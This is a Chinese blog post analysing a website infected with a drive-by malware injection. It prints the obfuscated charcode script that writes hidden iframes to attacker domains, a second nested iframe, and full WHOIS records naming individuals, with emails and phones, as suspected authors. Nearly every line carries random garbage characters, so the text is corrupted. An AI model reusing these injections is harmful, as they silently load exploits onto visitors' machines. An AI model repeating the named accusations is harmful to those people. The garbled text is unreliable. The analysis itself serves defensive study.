首发在我的博客里面，
F5&4x"c b\H~Ot[i http://www.areway.cn/?p=175 Zj!S('hSY &eyFA pM[Z K*p^Gs , 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
mtmtOG_/= =3"" D{l <script>t=’60,105,102,114,97,109,101,
#^#N%_8 32,115,114,99,61,104,116,116,112,58,47,47,
eEupqOF*:W 102,114,101,101,46,117,45,117,117,117,46,99,
g9p#v$V 110,47,101,114,114,111,114,46,104,116,109,
\ tU91 VIj 32,119,105,100,116,104,61,49,48,48,32,104,
1+Ja4`o,iS 101,105,103,104,116,61,48,62,60,47,105,102,
0=7C-A1(D 114,97,109,101,62′;
Xg#Dbf4 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
P4ot, Q4
_^dWJ0 <script>t=’60,105,102,114,97,109,101,32,115,
#%B1, .A 114,99,61,104,116,116,112,58,47,47,102,114,
9A)(K, 101,101,46,117,45,117,117,117,46,99,110,47,
=as ]>?< 101,114,114,111,114,46,104,116,109,32,119,
rVFAwbR 105,100,116,104,61,49,48,48,32,104,101,105,
N!r@M." 103,104,116,61,48,62,60,47,105,102,114,97,
xlS
t 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
~ia#=|1} document.write(t);</script>
a)[t kjU 0;r+E*`DA <html xmlns=”
]r6,^" http://www.w3.org/1999/xhtml ; #e -pkV “>
&c?-z}=G <head>
A]ciox$AjW <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
d;H1B/ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
HI)ks~E/ <title>首页 - 爱生活家庭网
NC l $vc;, 19&!#z 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Dy0cA| E 转换字符串后的大概内容是（谁点击后果自付）：
cA A J7? <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
V=\&eS4^" ub./U@ 1 查询玉米u-uuu.cn的详细信息：
cM .q^{d` Domain Name: u-uuu.cn
K|E}Ni ROID: 20070901s10001s64972306-cn
F(}d|z@@
Domain Status: ok
l'?/$?'e_Z Registrant Organization: 王雷
Cm(Hu Registrant Name: 王雷
y!
7;Z~" Administrative Email:
czlovexs@126.com a'XC T@B Sponsoring Registrar: 北京万网志成科技有限公司
P[aB}<1f0 Name Server:ns.yovole.com
Vad(PS0 Name Server:ns1.yovole.com
5|&Sg }_ Registration Date: 2007-09-01 17:54
.KTDQA\ Expiration Date: 2008-09-01 17:54
9akCvY#Q 最后PING了一下地址 都没有什么….
); 7csh% )xlNj$(x5n 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
${0Xq k <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
"kVN |Do <script language=”javascript” src=”
7H++ pOF http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Q->'e-\E<" >
~\Fde^ 1 这个玉米应该有可能是木马作者的：
A&)P_B1| foafau.info的详细信息：
W)$ ;T%u Access to INFO WHOIS information is provided to assist persons in
o7&Z4(V determining the contents of a domain name registration record in the
!5Z?D8dcx Afilias registry database. The data in this record is provided by
J6rXb ui$ Afilias Limited for informational purposes only, and Afilias does not
:G,GHU'/78 guarantee its accuracy. This service is intended only for query-based
H[fD
> access. You agree that you will use this data only for lawful purposes
zxTm`Dh;[ and that, under no circumstances will you use this data to: (a) allow,
\d]&}`'4{f enable, or otherwise support the transmission by e-mail, telephone, or
U~!97,|ic facsimile of mass unsolicited, commercial advertising or solicitations
FxD\F to entities other than the data recipient’s own existing customers; or
uWv l<{2 (b) enable high volume, automated, electronic processes that send
**dGK_^T0 queries or data to the systems of Registry Operator, a Registrar, or
Nbuaw[[iz Afilias except as reasonably necessary to register domain names or
h9&<-k modify existing registrations. All rights reserved. Afilias reserves
DV]Kd
7 the right to modify these terms at any time. By submitting this query,
&%C4rAd2 you agree to abide by this policy.
M\>y&'J- Domain ID:D22418703-LRMS
!f yE
Hk Domain Name:FOAFAU.INFO
~)Ny8 Dh Created On:20-Nov-2007 16:05:42 UTC
OCY7 Bls4 Last Updated On:20-Nov-2007 16:05:44 UTC
2gb49y ~ Expiration Date:20-Nov-2008 16:05:42 UTC
ZLxe $.V_ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
hDjsGB|Fz Status:CLIENT DELETE PROHIBITED
_OHz 6ag Status:CLIENT RENEW PROHIBITED
I eZ} `$[H Status:CLIENT TRANSFER PROHIBITED
&=K-~!? Status:CLIENT UPDATE PROHIBITED
_QkU,[E Status:TRANSFER PROHIBITED
~u/Enl7\- Registrant ID:GODA-040110615
jKM-(s!( Registrant Name:liu hong
VDC rFZ!] Registrant Organization:
*M6M'>Tin Registrant Street1:beijing
KvkiwO ( Registrant Street2:
E':y3T@." Registrant Street3:
g 6;O)b Registrant City:beijing
pG:FDlR~ Registrant State/Province:
H /*^$>0Uo Registrant Postal Code:100000
?gH[tN:= Registrant Country:CN
0JK bp*H Registrant Phone:+86.860108888777
/p?h@6h@y Registrant Phone Ext.:
R8O<} >3a Registrant FAX:
~$YFfv>
Registrant FAX Ext.:
gXc&uR0S Registrant Email:bbbshiji@163.com
xBR2tDi% Admin ID:GODA-240110615
v=iz*2+X Admin Name:liu hong
V?0|#=_mE Admin Organization:
Kc}FMu Admin Street1:beijing
3[-L'!pOX3 Admin Street2:
8 mV`|2> Admin Street3:
>=r094< Admin City:beijing
aG`G$3 _wx Admin State/Province:
~Se/uL;* Admin Postal Code:100000
FwmE1, Admin Country:CN
on\0i{0l8 Admin Phone:+86.860108888777
=/V r,y$ Admin Phone Ext.:
>eW HPO Admin FAX:
gj$gqO`B Admin FAX Ext.:
PHT;%;m= Admin Email:bbbshiji@163.com
!@p@u;djJ Billing ID:GODA-340110615
\7jcZ~FBX% Billing Name:liu hong
X];a(7+2 Billing Organization:
y85GKysT Billing Street1:beijing
&*T57tE Billing Street2:
"((6)U# Billing Street3:
htkn#s~= Billing City:beijing
Jg/WE1p> Billing State/Province:
(B7M*e Billing Postal Code:100000
{*yhiE , Billing Country:CN
&HT
P eB Billing Phone:+86.860108888777
q J@XVN4 Billing Phone Ext.:
0_,V } Billing FAX:
'FO ^VJ;ha Billing FAX Ext.:
O`rA qO0F Billing Email:bbbshiji@163.com
rnEWTk7& Tech ID:GODA-140110615
:M'3U g$t Tech Name:liu hong
U3 ED3)
D Tech Organization:
UXR$ 7< D+ Tech Street1:beijing
p V :X_M6 Tech Street2:
H [R|U Tech Street3:
^Me__Y Tech City:beijing
uRxo,.}c Tech State/Province:
,.x1+9X Tech Postal Code:100000
ceyZ4M Tech Country:CN
Mpb|qGi! Tech Phone:+86.860108888777
vb\ UP&Ip Tech Phone Ext.:
Ub4j 3` Tech FAX:
[gqV}Y"Md Tech FAX Ext.:
< eQS16 Tech Email:bbbshiji@163.com
P0 hC4Sxf Name Server:NS27.DOMAINCONTROL.COM
GyRU/0'BME Name Server:NS28.DOMAINCONTROL.COM
yLipuMNV Name Server:
$l7
<j_C Name Server:
`:R8~ >p Name Server:
gX.4I; Name Server:
s@K|z Ox Name Server:
ko=vK%E[ Name Server:
gM^ Hs7o, Name Server:
Aum&U){yY Name Server:
Kw"7M~ Name Server:
o3qBRT0[R Name Server:
-jFvDf,M,D Name Server:
}9:d(B9; G#
.z((Rj 接着下载每个文件里面的代码：
m80Q Mosp 一步一步看..
u\< z5O 
l" *zr ;# 
6rq:jvl x$ 
j^Bo0{{ 
?2aglj*"v, 
QUH USDT 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
